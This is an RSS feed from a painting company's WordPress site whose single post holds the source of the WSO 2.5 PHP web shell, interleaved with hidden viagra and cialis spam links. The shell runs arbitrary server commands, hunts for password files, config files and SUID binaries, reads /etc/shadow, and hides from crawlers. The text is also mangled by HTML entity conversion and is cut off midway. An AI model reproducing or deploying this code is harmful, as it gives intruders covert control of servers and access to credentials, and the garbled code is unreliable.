<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Imperial Painting</title>
	<atom:link href="http://www.imperialpainting.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.imperialpainting.com</link>
	<description></description>
	<lastBuildDate>Tue, 21 May 2013 18:44:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title></title>
		<link>http://www.imperialpainting.com/637/</link>
		<comments>http://www.imperialpainting.com/637/#comments</comments>
		<pubDate>Sat, 19 Jan 2013 00:00:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.imperialpainting.com/?p=637</guid>
		<description><![CDATA[$auth_pass = &#8220;7f4603f9cd64a8f0a01a258957a63a55&#8243;; $color = &#8220;#df5&#8243;; $default_action = &#8216;FilesMan&#8217;; $default_use_ajax = true; $default_charset = &#8216;Windows-1251&#8242;; if(!empty($_SERVER['HTTP_USER_AGENT'])) { $userAgents = array(&#8220;Go viagra super active without prescription ogle order generic cialis &#8220;, &#8220;Slurp&#8221;, &#8220;MSNBot&#8221;, &#8220;ia_archiver&#8221;, &#8220;Yandex&#8221;, &#8220;Rambler&#8221;); if(preg_match(&#8216;/&#8217; . implode(&#8216;&#124;&#8217;, $userAgents) . &#8230; <a href="http://www.imperialpainting.com/637/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>
<p><?php <br ?>$auth_pass = &#8220;7f4603f9cd64a8f0a01a258957a63a55&#8243;;<br />
$color = &#8220;#df5&#8243;;<br />
$default_action = &#8216;FilesMan&#8217;;<br />
$default_use_ajax = true;<br />
$default_charset = &#8216;Windows-1251&#8242;;</p>
<p>if(!empty($_SERVER['HTTP_USER_AGENT'])) {<br />
$userAgents = array(&#8220;Go
<div style="display: none"><a href='http://cheapviagrasuperactive.org/' title='viagra super active without prescription'>viagra super active without prescription</a></div>
<p>ogle
<div style="display: none"><a href='http://buycialisonlinenowe.com/' title='order generic cialis'>order generic cialis</a></div>
<p>&#8220;, &#8220;Slurp&#8221;, &#8220;MSNBot&#8221;, &#8220;ia_archiver&#8221;, &#8220;Yandex&#8221;, &#8220;Rambler&#8221;);<br />
if(preg_match(&#8216;/&#8217; . implode(&#8216;|&#8217;, $userAgents) . &#8216;/i&#8217;, $_SERVER['HTTP_USER_AGENT'])) {<br />
header(&#8216;HTTP/1.0 404 Not Found&#8217;);<br />
exit;<br />
}<br />
}</p>
<p>@ini_set(&#8216;error_log&#8217;,NULL);<br />
@ini_set(&#8216;log_errors&#8217;,0);<br />
@ini_set(&#8216;max_execution_time&#8217;,0);<br />
@set_time_limit(0);<br />
@set_magic_quotes_runtime(0);<br />
@define(&#8216;WSO_VERSION&#8217;, &#8217;2.5&#8242;);</p>
<p>if(get_magic_quotes_gpc()) {<br />
function WSOstripslashes($array) {<br />
return is_array($array) ? array_map(&#8216;WSOstripslashes&#8217;, $array) : stripslashes($array);<br />
}<br />
$_POST = WSOstripslashes($_POST);<br />
$_COOKIE = WSOstripslashes($_COOKIE);<br />
}</p>
<p>function wsoLogin() {<br />
die(&#8221;</p>
<form method="post">Password:<br />
<input type="password" name="pass" />
<input type="submit" value=">>&#8221; /></form>
<p>&#8220;);<br />
}</p>
<p>function WSOsetcookie($k, $v) {<br />
$_COOKIE[$k] = $v;<br />
setcookie($k, $v);<br />
}</p>
<p>if(!empty($auth_pass)) {<br />
if(isset($_POST['pass']) &#038;&#038; (md5($_POST['pass']) == $auth_pass))<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);</p>
<p>if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))<br />
wsoLogin();<br />
}</p>
<p>if(strtolower(substr(PHP_OS,0,3)) == &#8220;win&#8221;)<br />
$os = &#8216;win&#8217;;<br />
else<br />
$os = &#8216;nix&#8217;;</p>
<p>$safe_mode = @ini_get(&#8216;safe_mode&#8217;);<br />
if(!$safe_mode)<br />
error_reporting(0);</p>
<p>$disable_functions = @ini_get(&#8216;disable_functions&#8217;);<br />
$home_cwd = @getcwd();<br />
if(isset($_POST['c']))<br />
@chdir($_POST['c']);<br />
$cwd = @getcwd();<br />
if($os == &#8216;win&#8217;) {<br />
$home_cwd = str_replace(&#8220;\\&#8221;, &#8220;/&#8221;, $home_cwd);<br />
$cwd = str_replace(&#8220;\\&#8221;, &#8220;/&#8221;, $cwd);<br />
}<br />
if($cwd[strlen($cwd)-1] != &#8216;/&#8217;)<br />
$cwd .= &#8216;/&#8217;;</p>
<p>if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . &#8216;ajax&#8217;]))<br />
$_COOKIE[md5($_SERVER['HTTP_HOST']) . &#8216;ajax&#8217;] = (bool)$default_use_ajax;</p>
<p>if($os == &#8216;win&#8217;)<br />
$aliases = array(<br />
&#8220;List Directory&#8221; =&#038;> &#8220;dir&#8221;,<br />
&#8220;Find index.php in current dir&#8221; =&#038;> &#8220;dir /s /w /b index.php&#8221;,<br />
&#8220;Find *config*.php in current dir&#8221; =&#038;> &#8220;dir /s /w /b *config*.php&#8221;,<br />
&#8220;Show active connections&#8221; =&#038;> &#8220;netstat -an&#8221;,<br />
&#8220;Show running services&#8221; =&#038;> &#8220;net start&#8221;,<br />
&#8220;User accounts&#8221; =&#038;> &#8220;net user&#8221;,<br />
&#8220;Show computers&#8221; =&#038;> &#8220;net view&#8221;,<br />
&#8220;ARP Table&#8221; =&#038;> &#8220;arp -a&#8221;,<br />
&#8220;IP Configuration&#8221; =&#038;> &#8220;ipconfig /all&#8221;<br />
);<br />
else<br />
$aliases = array(<br />
&#8220;List dir&#8221; =&#038;> &#8220;ls -lha&#8221;,<br />
&#8220;list file attributes on a Linux second extended file system&#8221; =&#038;> &#8220;lsattr -va&#8221;,<br />
&#8220;show opened ports&#8221; =&#038;> &#8220;netstat -an | grep -i listen&#8221;,<br />
&#8220;process status&#8221; =&#038;> &#8220;ps aux&#8221;,<br />
&#8220;Find&#8221; =&#038;> &#8220;&#8221;,<br />
&#8220;find all suid files&#8221; =&#038;> &#8220;find / -type f -perm -04000 -ls&#8221;,<br />
&#8220;find suid files in current dir&#8221; =&#038;> &#8220;find . -type f -perm -04000 -ls&#8221;,<br />
&#8220;find all sgid files&#8221; =&#038;> &#8220;find / -type f -perm -02000 -ls&#8221;,<br />
&#8220;find sgid files in current dir&#8221; =&#038;> &#8220;find . -type f -perm -02000 -ls&#8221;,<br />
&#8220;find config.inc.php files&#8221; =&#038;> &#8220;find / -type f -name config.inc.php&#8221;,<br />
&#8220;find config* files&#8221; =&#038;> &#8220;find / -type f -name \&#8221;config*\&#8221;",<br />
&#8220;find config* files in current dir&#8221; =&#038;> &#8220;find . -type f -name \&#8221;config*\&#8221;",<br />
&#8220;find all writable folders and files&#8221; =&#038;> &#8220;find / -perm -2 -ls&#8221;,<br />
&#8220;find all writable folders and files in current dir&#8221; =&#038;> &#8220;find . -perm -2 -ls&#8221;,<br />
&#8220;find all service.pwd files&#8221; =&#038;> &#8220;find / -type f -name service.pwd&#8221;,<br />
&#8220;find service.pwd files in current dir&#8221; =&#038;> &#8220;find . -type f -name service.pwd&#8221;,<br />
&#8220;find all .htpasswd files&#8221; =&#038;> &#8220;find / -type f -name .htpasswd&#8221;,<br />
&#8220;find .htpasswd files in current dir&#8221; =&#038;> &#8220;find . -type f -name .htpasswd&#8221;,<br />
&#8220;find all .bash_history files&#8221; =&#038;> &#8220;find / -type f -name .bash_history&#8221;,<br />
&#8220;find .bash_history files in current dir&#8221; =&#038;> &#8220;find . -type f -name .bash_history&#8221;,<br />
&#8220;find all .fetchmailrc files&#8221; =&#038;> &#8220;find / -type f -name .fetchmailrc&#8221;,<br />
&#8220;find .fetchmailrc files in current dir&#8221; =&#038;> &#8220;find . -type f -name .fetchmailrc&#8221;,<br />
&#8220;Locate&#8221; =&#038;> &#8220;&#8221;,<br />
&#8220;locate httpd.conf files&#8221; =&#038;> &#8220;locate httpd.conf&#8221;,<br />
&#8220;locate vhosts.conf files&#8221; =&#038;> &#8220;locate vhosts.conf&#8221;,<br />
&#8220;locate proftpd.conf files&#8221; =&#038;> &#8220;locate proftpd.conf&#8221;,<br />
&#8220;locate psybnc.conf files&#8221; =&#038;> &#8220;locate psybnc.conf&#8221;,<br />
&#8220;locate my.conf files&#8221; =&#038;> &#8220;locate my.conf&#8221;,<br />
&#8220;locate admin.php files&#8221; =&#038;>&#8221;locate admin.php&#8221;,<br />
&#8220;locate cfg.php files&#8221; =&#038;> &#8220;locate cfg.php&#8221;,<br />
&#8220;locate conf.php files&#8221; =&#038;> &#8220;locate conf.php&#8221;,<br />
&#8220;locate config.dat files&#8221; =&#038;> &#8220;locate config.dat&#8221;,<br />
&#8220;locate config.php files&#8221; =&#038;> &#8220;locate config.php&#8221;,<br />
&#8220;locate config.inc files&#8221; =&#038;> &#8220;locate config.inc&#8221;,<br />
&#8220;locate config.inc.php&#8221; =&#038;> &#8220;locate config.inc.php&#8221;,<br />
&#8220;locate config.default.php files&#8221; =&#038;> &#8220;locate config.default.php&#8221;,<br />
&#8220;locate config* files &#8221; =&#038;> &#8220;locate config&#8221;,<br />
&#8220;locate .conf files&#8221;=&#038;>&#8221;locate &#8216;.conf&#8217;&#8221;,<br />
&#8220;locate .pwd files&#8221; =&#038;> &#8220;locate &#8216;.pwd&#8217;&#8221;,<br />
&#8220;locate .sql files&#8221; =&#038;> &#8220;locate &#8216;.sql&#8217;&#8221;,<br />
&#8220;locate .htpasswd files&#8221; =&#038;> &#8220;locate &#8216;.htpasswd&#8217;&#8221;,<br />
&#8220;locate .bash_history files&#8221; =&#038;> &#8220;locate &#8216;.bash_history&#8217;&#8221;,<br />
&#8220;locate .mysql_history files&#8221; =&#038;> &#8220;locate &#8216;.mysql_history&#8217;&#8221;,<br />
&#8220;locate .fetchmailrc files&#8221; =&#038;> &#8220;locate &#8216;.fetchmailrc&#8217;&#8221;,<br />
&#8220;locate backup files&#8221; =&#038;> &#8220;locate backup&#8221;,<br />
&#8220;locate dump files&#8221; =&#038;> &#8220;locate dump&#8221;,<br />
&#8220;locate priv files&#8221; =&#038;> &#8220;locate priv&#8221;<br />
);</p>
<p>function wsoHeader() {<br />
if(empty($_POST['charset']))<br />
$_POST['charset'] = $GLOBALS['default_charset'];<br />
global $color;<br />
echo &#8221;</p>
<p><script type="text/javascript">// <![CDATA[
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&#038;'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
// ]]&gt;</script></p>
<div style="position: absolute; width: 100%; background-color: #444; top: 0; left: 0;">
<form style="display: none;" method="post" name="mf">
<input type="hidden" name="a" />
<input type="hidden" name="c" />
<input type="hidden" name="p1" />
<input type="hidden" name="p2" />
<input type="hidden" name="p3" />
<input type="hidden" name="charset" /></form>
<p>&#8220;;<br />
$freeSpace = @diskfreespace($GLOBALS['cwd']);<br />
$totalSpace = @disk_total_space($GLOBALS['cwd']);<br />
$totalSpace = $totalSpace?$totalSpace:1;<br />
$release = @php_uname(&#8216;r&#8217;);<br />
$kernel = @php_uname(&#8216;s&#8217;);<br />
$explink = &#8216;http://exploit-db.com/search/?action=search&#038;filter_description=&#8217;;<br />
if(strpos(&#8216;Linux&#8217;, $kernel) !== false)<br />
$explink .= urlencode(&#8216;Linux Kernel &#8216; . substr($release,0,6));<br />
else<br />
$explink .= urlencode($kernel . &#8216; &#8216; . substr($release,0,3));<br />
if(!function_exists(&#8216;posix_getegid&#8217;)) {<br />
$user = @get_current_user();<br />
$uid = @getmyuid();<br />
$gid = @getmygid();<br />
$group = &#8220;?&#8221;;<br />
} else {<br />
$uid = @posix_getpwuid(posix_geteuid());<br />
$gid = @posix_getgrgid(posix_getegid());<br />
$user = $uid['name'];<br />
$uid = $uid['uid'];<br />
$group = $gid['name'];<br />
$gid = $gid['gid'];<br />
}</p>
<p>$cwd_links = &#8221;;<br />
$path = explode(&#8220;/&#8221;, $GLOBALS['cwd']);<br />
$n=count($path);<br />
for($i=0; $i $cwd_links .= &#8220;<a onclick="g(\"FilesMan\",\"";<br />
for($j=0; $j<=$i; $j++)<br />
$cwd_links .= $path[$j]." href="#">&#8220;.$path[$i].&#8221;/</a>&#8220;;<br />
}</p>
<p>$charsets = array(&#8216;UTF-8&#8242;, &#8216;Windows-1251&#8242;, &#8216;KOI8-R&#8217;, &#8216;KOI8-U&#8217;, &#8216;cp866&#8242;);<br />
$opt_charsets = &#8221;;<br />
foreach($charsets as $item)<br />
$opt_charsets .= &#8216;<br />
&#8216;.$item.&#8217;</p>
<p>&#8216;;</p>
<p>$m = array(&#8216;Sec. Info&#8217;=&#038;>&#8217;SecInfo&#8217;,'Files&#8217;=&#038;>&#8217;FilesMan&#8217;,'Console&#8217;=&#038;>&#8217;Console&#8217;,'Sql&#8217;=&#038;>&#8217;Sql&#8217;,'Php&#8217;=&#038;>&#8217;Php&#8217;,'String tools&#8217;=&#038;>&#8217;StringTools&#8217;,'Bruteforce&#8217;=&#038;>&#8217;Bruteforce&#8217;,'Network&#8217;=&#038;>&#8217;Network&#8217;);<br />
if(!empty($GLOBALS['auth_pass']))<br />
$m['Logout'] = &#8216;Logout&#8217;;<br />
$m['Self remove'] = &#8216;SelfRemove&#8217;;<br />
$menu = &#8221;;<br />
foreach($m as $k =&#038;> $v)<br />
$menu .= &#8216;[ <a onclick="g(\''.$v.'\',null,\'\',\'\',\'\')" href="#">'.$k.'</a> ]</p>
<p>&#8216;;</p>
<p>$drives = &#8220;&#8221;;<br />
if($GLOBALS['os'] == &#8216;win&#8217;) {<br />
foreach(range(&#8216;c&#8217;,'z&#8217;) as $drive)<br />
if(is_dir($drive.&#8217;:\\&#8217;))<br />
$drives .= &#8216;<a onclick="g(\'FilesMan\',\''.$drive.':/\')" href="#">[ '.$drive.' ]</a> &#8216;;<br />
}<br />
echo &#8216;</p>
<table class="info" width="100%" cellspacing="0" cellpadding="3">
<tbody>
<tr>
<td width="1"><span>Uname:<br />
User:<br />
Php:<br />
Hdd:<br />
Cwd:&#8217; . ($GLOBALS['os'] == &#8216;win&#8217;?&#8217;<br />
Drives:&#8217;:&#8221;) . &#8216;</span></td>
<p>&#8216;. &#8221; . substr(@php_uname(), 0, 120) . &#8216; [exploit-db.com]&#8216; . $uid . &#8216; ( &#8216; . $user . &#8216; ) Group: &#8216; . $gid . &#8216; ( &#8216; . $group . &#8216; )&#8217; . @phpversion() . &#8216; Safe mode: &#8216; . ($GLOBALS['safe_mode']?&#8217;ON&#8217;:&#8217;<strong>OFF</strong>&#8216;). &#8216; [ phpinfo ] Datetime: &#8216; . date(&#8216;Y-m-d H:i:s&#8217;) . &#8221; . wsoViewSize($totalSpace) . &#8216; Free: &#8216; . wsoViewSize($freeSpace) . &#8216; (&#8216;. (int) ($freeSpace/$totalSpace*100) . &#8216;%)&#8217; . $cwd_links . &#8216; &#8216;. wsoPermsColor($GLOBALS['cwd']) . &#8216; [ home ]&#8216; . $drives . &#8221;. &#8216;<optgroup label="Page charset">&#8216; . $opt_charsets . &#8216;</optgroup><span>Server IP:</span><br />
&#8216; . @$_SERVER["SERVER_ADDR"] . &#8216;<br />
<span>Client IP:</span><br />
&#8216; . $_SERVER['REMOTE_ADDR'] . &#8216;</tr>
</tbody>
</table>
<p>&#8216;<br />
. &#8216;</p>
<table style="border-top: 2px solid #333;" width="100%" cellspacing="0" cellpadding="3">
<tbody>
<tr>&#8216; . $menu . &#8216;</tr>
</tbody>
</table>
<div style="margin: 5;">&#8216;;<br />
}</div>
<p>function wsoFooter() {<br />
$is_writable = is_writable($GLOBALS['cwd'])?&#8221; <span style="color: #008000;">(Writeable)</span>&#8220;:&#8221; <span style="color: #ff0000;">(Not writable)</span>&#8220;;<br />
echo &#8221;</p>
</div>
<table id="toolsTbl" class="info" style="border-top: 2px solid #333; border-bottom: 2px solid #333;" width="100%" cellspacing="0" cellpadding="3">
<tbody>
<tr>
<td>
<form onsubmit="g(null,this.c.value,\"\");return false;"><span>Change dir:</span></p>
<input class="toolsInp" type="text" name="c" value="" . htmlspecialchars($GLOBALS[" />
<input type="submit" value=">>&#8221; /></form>
</td>
<td>
<form onsubmit="\"g('FilesTools',null,this.f.value);return"><span>Read file:</span></p>
<input class="toolsInp" type="text" name="f" />
<input type="submit" value=">>&#8221; /></form>
</td>
</tr>
<tr>
<td>
<form onsubmit="\"g('FilesMan',null,'mkdir',this.d.value);return"><span>Make dir:</span>$is_writable</p>
<input class="toolsInp" type="text" name="d" />
<input type="submit" value=">>&#8221; /></form>
</td>
<td>
<form onsubmit="\"g('FilesTools',null,this.f.value,'mkfile');return"><span>Make file:</span>$is_writable</p>
<input class="toolsInp" type="text" name="f" />
<input type="submit" value=">>&#8221; /></form>
</td>
</tr>
<tr>
<td>
<form onsubmit="\"g('Console',null,this.c.value);return"><span>Execute:</span></p>
<input class="toolsInp" type="text" name="c" />
<input type="submit" value=">>&#8221; /></form>
</td>
<td>
<form method="post" enctype="multipart/form-data">
<input type="hidden" name="a" value="FilesMAn" />
<input type="hidden" name="c" value="" . $GLOBALS[" />
<input type="hidden" name="p1" value="uploadFile" />
<input type="hidden" name="charset" value="" . (isset($_POST[" /> <span>Upload file:</span>$is_writable</p>
<input class="toolsInp" type="file" name="f" />
<input type="submit" value=">>&#8221; /></form>
<p>&#038;</td>
</tr>
</tbody>
</table>
<p>&#038;</p>
<p>&#8220;;<br />
}</p>
<p>&#038;</p>
<p>if (!function_exists(&#8220;posix_getpwuid&#8221;) &#038;&#038; (strpos($GLOBALS['disable_functions'], &#8216;posix_getpwuid&#8217;)===false)) {<br />
function posix_getpwuid($p) {return false;} }<br />
if (!function_exists(&#8220;posix_getgrgid&#8221;) &#038;&#038; (strpos($GLOBALS['disable_functions'], &#8216;posix_getgrgid&#8217;)===false)) {<br />
function posix_getgrgid($p) {return false;} }</p>
<p>function wsoEx($in) {<br />
$out = &#8221;;<br />
if (function_exists(&#8216;exec&#8217;)) {<br />
@exec($in,$out);<br />
$out = @join(&#8220;\n&#8221;,$out);<br />
} elseif (function_exists(&#8216;passthru&#8217;)) {<br />
ob_start();<br />
@passthru($in);<br />
$out = ob_get_clean();<br />
} elseif (function_exists(&#8216;system&#8217;)) {<br />
ob_start();<br />
@system($in);<br />
$out = ob_get_clean();<br />
} elseif (function_exists(&#8216;shell_exec&#8217;)) {<br />
$out = shell_exec($in);<br />
} elseif (is_resource($f = @popen($in,&#8221;r&#8221;))) {<br />
$out = &#8220;&#8221;;<br />
while(!@feof($f))<br />
$out .= fread($f,1024);<br />
pclose($f);<br />
}<br />
return $out;<br />
}</p>
<p>function wsoViewSize($s) {<br />
if (is_int($s))<br />
$s = sprintf(&#8220;%u&#8221;, $s);</p>
<p>if($s &#038;>= 1073741824)<br />
return sprintf(&#8216;%1.2f&#8217;, $s / 1073741824 ). &#8216; GB&#8217;;<br />
elseif($s &#038;>= 1048576)<br />
return sprintf(&#8216;%1.2f&#8217;, $s / 1048576 ) . &#8216; MB&#8217;;<br />
elseif($s &#038;>= 1024)<br />
return sprintf(&#8216;%1.2f&#8217;, $s / 1024 ) . &#8216; KB&#8217;;<br />
else<br />
return $s . &#8216; B&#8217;;<br />
}</p>
<p>function wsoPerms($p) {<br />
if (($p &#038; 0xC000) == 0xC000)$i = &#8216;s&#8217;;<br />
elseif (($p &#038; 0xA000) == 0xA000)$i = &#8216;l&#8217;;<br />
elseif (($p &#038; 0&#215;8000) == 0&#215;8000)$i = &#8216;-&#8217;;<br />
elseif (($p &#038; 0&#215;6000) == 0&#215;6000)$i = &#8216;b&#8217;;<br />
elseif (($p &#038; 0&#215;4000) == 0&#215;4000)$i = &#8216;d&#8217;;<br />
elseif (($p &#038; 0&#215;2000) == 0&#215;2000)$i = &#8216;c&#8217;;<br />
elseif (($p &#038; 0&#215;1000) == 0&#215;1000)$i = &#8216;p&#8217;;<br />
else $i = &#8216;u&#8217;;<br />
$i .= (($p &#038; 0&#215;0100) ? &#8216;r&#8217; : &#8216;-&#8217;);<br />
$i .= (($p &#038; 0&#215;0080) ? &#8216;w&#8217; : &#8216;-&#8217;);<br />
$i .= (($p &#038; 0&#215;0040) ? (($p &#038; 0&#215;0800) ? &#8216;s&#8217; : &#8216;x&#8217; ) : (($p &#038; 0&#215;0800) ? &#8216;S&#8217; : &#8216;-&#8217;));<br />
$i .= (($p &#038; 0&#215;0020) ? &#8216;r&#8217; : &#8216;-&#8217;);<br />
$i .= (($p &#038; 0&#215;0010) ? &#8216;w&#8217; : &#8216;-&#8217;);<br />
$i .= (($p &#038; 0&#215;0008) ? (($p &#038; 0&#215;0400) ? &#8216;s&#8217; : &#8216;x&#8217; ) : (($p &#038; 0&#215;0400) ? &#8216;S&#8217; : &#8216;-&#8217;));<br />
$i .= (($p &#038; 0&#215;0004) ? &#8216;r&#8217; : &#8216;-&#8217;);<br />
$i .= (($p &#038; 0&#215;0002) ? &#8216;w&#8217; : &#8216;-&#8217;);<br />
$i .= (($p &#038; 0&#215;0001) ? (($p &#038; 0&#215;0200) ? &#8216;t&#8217; : &#8216;x&#8217; ) : (($p &#038; 0&#215;0200) ? &#8216;T&#8217; : &#8216;-&#8217;));<br />
return $i;<br />
}</p>
<p>function wsoPermsColor($f) {<br />
if (!@is_readable($f))<br />
return &#8216;<span style="color: #ff0000;">&#8216; . wsoPerms(@fileperms($f)) . &#8216;</span>&#8216;;<br />
elseif (!@is_writable($f))<br />
return &#8216;<span style="color: #ffffff;">&#8216; . wsoPerms(@fileperms($f)) . &#8216;</span>&#8216;;<br />
else<br />
return &#8216;<span style="color: #25ff00;">&#8216; . wsoPerms(@fileperms($f)) . &#8216;</span>&#8216;;<br />
}</p>
<p>function wsoScandir($dir) {<br />
if(function_exists(&#8220;scandir&#8221;)) {<br />
return scandir($dir);<br />
} else {<br />
$dh = opendir($dir);<br />
while (false !== ($filename = readdir($dh)))<br />
$files[] = $filename;<br />
return $files;<br />
}<br />
}</p>
<p>function wsoWhich($p) {<br />
$path = wsoEx(&#8216;which &#8216; . $p);<br />
if(!empty($path))<br />
return $path;<br />
return false;<br />
}</p>
<p>function actionSecInfo() {<br />
wsoHeader();<br />
echo &#8216;</p>
<h1>Server security information</h1>
<div class="content">&#8216;;<br />
function wsoSecParam($n, $v) {</p>
<p>$v = trim($v);<br />
if($v) {<br />
echo &#8216;<span>&#8216; . $n . &#8216;: </span>&#8216;;<br />
if(strpos($v, &#8220;\n&#8221;) === false)<br />
echo $v . &#8216;<br />
&#8216;;<br />
else<br />
echo &#8216;</p>
<pre class="ml1">' . $v . '</pre>
<p>&#8216;;<br />
}<br />
}</p>
<p>wsoSecParam(&#8216;Server software&#8217;, @getenv(&#8216;SERVER_SOFTWARE&#8217;));<br />
if(function_exists(&#8216;apache_get_modules&#8217;))<br />
wsoSecParam(&#8216;Loaded Apache modules&#8217;, implode(&#8216;, &#8216;, apache_get_modules()));<br />
wsoSecParam(&#8216;Disabled PHP Functions&#8217;, $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:&#8217;none&#8217;);<br />
wsoSecParam(&#8216;Open base dir&#8217;, @ini_get(&#8216;open_basedir&#8217;));<br />
wsoSecParam(&#8216;Safe mode exec dir&#8217;, @ini_get(&#8216;safe_mode_exec_dir&#8217;));<br />
wsoSecParam(&#8216;Safe mode include dir&#8217;, @ini_get(&#8216;safe_mode_include_dir&#8217;));<br />
wsoSecParam(&#8216;cURL support&#8217;, function_exists(&#8216;curl_version&#8217;)?&#8217;enabled&#8217;:'no&#8217;);<br />
$temp=array();<br />
if(function_exists(&#8216;mysql_get_client_info&#8217;))<br />
$temp[] = &#8220;MySql (&#8220;.mysql_get_client_info().&#8221;)&#8221;;<br />
if(function_exists(&#8216;mssql_connect&#8217;))<br />
$temp[] = &#8220;MSSQL&#8221;;<br />
if(function_exists(&#8216;pg_connect&#8217;))<br />
$temp[] = &#8220;PostgreSQL&#8221;;<br />
if(function_exists(&#8216;oci_connect&#8217;))<br />
$temp[] = &#8220;Oracle&#8221;;<br />
wsoSecParam(&#8216;Supported databases&#8217;, implode(&#8216;, &#8216;, $temp));<br />
echo &#8216;<br />
&#8216;;</p>
<p>if($GLOBALS['os'] == &#8216;nix&#8217;) {<br />
wsoSecParam(&#8216;Readable /etc/passwd&#8217;, @is_readable(&#8216;/etc/passwd&#8217;)?&#8221;yes <a onclick="g(\"FilesTools\", \"/etc/\", \"passwd\")" href="#">[view]</a>&#8220;:&#8217;no&#8217;);<br />
wsoSecParam(&#8216;Readable /etc/shadow&#8217;, @is_readable(&#8216;/etc/shadow&#8217;)?&#8221;yes <a onclick="g(\"FilesTools\", \"/etc/\", \"shadow\")" href="#">[view]</a>&#8220;:&#8217;no&#8217;);<br />
wsoSecParam(&#8216;OS version&#8217;, @file_get_contents(&#8216;/proc/version&#8217;));<br />
wsoSecParam(&#8216;Distr name&#8217;, @file_get_contents(&#8216;/etc/issue.net&#8217;));<br />
if(!$GLOBALS['safe_mode']) {<br />
$userful = array(&#8216;gcc&#8217;,'lcc&#8217;,'cc&#8217;,'ld&#8217;,'make&#8217;,'php&#8217;,'perl&#8217;,'python&#8217;,'ruby&#8217;,'tar&#8217;,'gzip&#8217;,'bzip&#8217;,'bzip2&#8242;,&#8217;nc&#8217;,'locate&#8217;,'suidperl&#8217;);<br />
$danger = array(&#8216;kav&#8217;,'nod32&#8242;,&#8217;bdcored&#8217;,'uvscan&#8217;,'sav&#8217;,'drwebd&#8217;,'clamd&#8217;,'rkhunter&#8217;,'chkrootkit&#8217;,'iptables&#8217;,'ipfw&#8217;,'tripwire&#8217;,'shieldcc&#8217;,'portsentry&#8217;,'snort&#8217;,'ossec&#8217;,'lidsadm&#8217;,'tcplodg&#8217;,'sxid&#8217;,'logcheck&#8217;,'logwatch&#8217;,'sysmask&#8217;,'zmbscap&#8217;,'sawmill&#8217;,'wormscan&#8217;,'ninja&#8217;);<br />
$downloaders = array(&#8216;wget&#8217;,'fetch&#8217;,'lynx&#8217;,'links&#8217;,'curl&#8217;,'get&#8217;,'lwp-mirror&#8217;);<br />
echo &#8216;<br />
&#8216;;<br />
$temp=array();<br />
foreach ($userful as $item)<br />
if(wsoWhich($item))<br />
$temp[] = $item;<br />
wsoSecParam(&#8216;Userful&#8217;, implode(&#8216;, &#8216;,$temp));<br />
$temp=array();<br />
foreach ($danger as $item)<br />
if(wsoWhich($item))<br />
$temp[] = $item;<br />
wsoSecParam(&#8216;Danger&#8217;, implode(&#8216;, &#8216;,$temp));<br />
$temp=array();<br />
foreach ($downloaders as $item)<br />
if(wsoWhich($item))<br />
$temp[] = $item;<br />
wsoSecParam(&#8216;Downloaders&#8217;, implode(&#8216;, &#8216;,$temp));<br />
echo &#8216;<br />
&#8216;;<br />
wsoSecParam(&#8216;HDD space&#8217;, wsoEx(&#8216;df -h&#8217;));<br />
wsoSecParam(&#8216;Hosts&#8217;, @file_get_contents(&#8216;/etc/hosts&#8217;));<br />
echo &#8216;<br />
<span>posix_getpwuid (&#8220;Read&#8221; /etc/passwd)</span></p>
<table>
<tbody>
<tr>
<td>From</td>
<td>
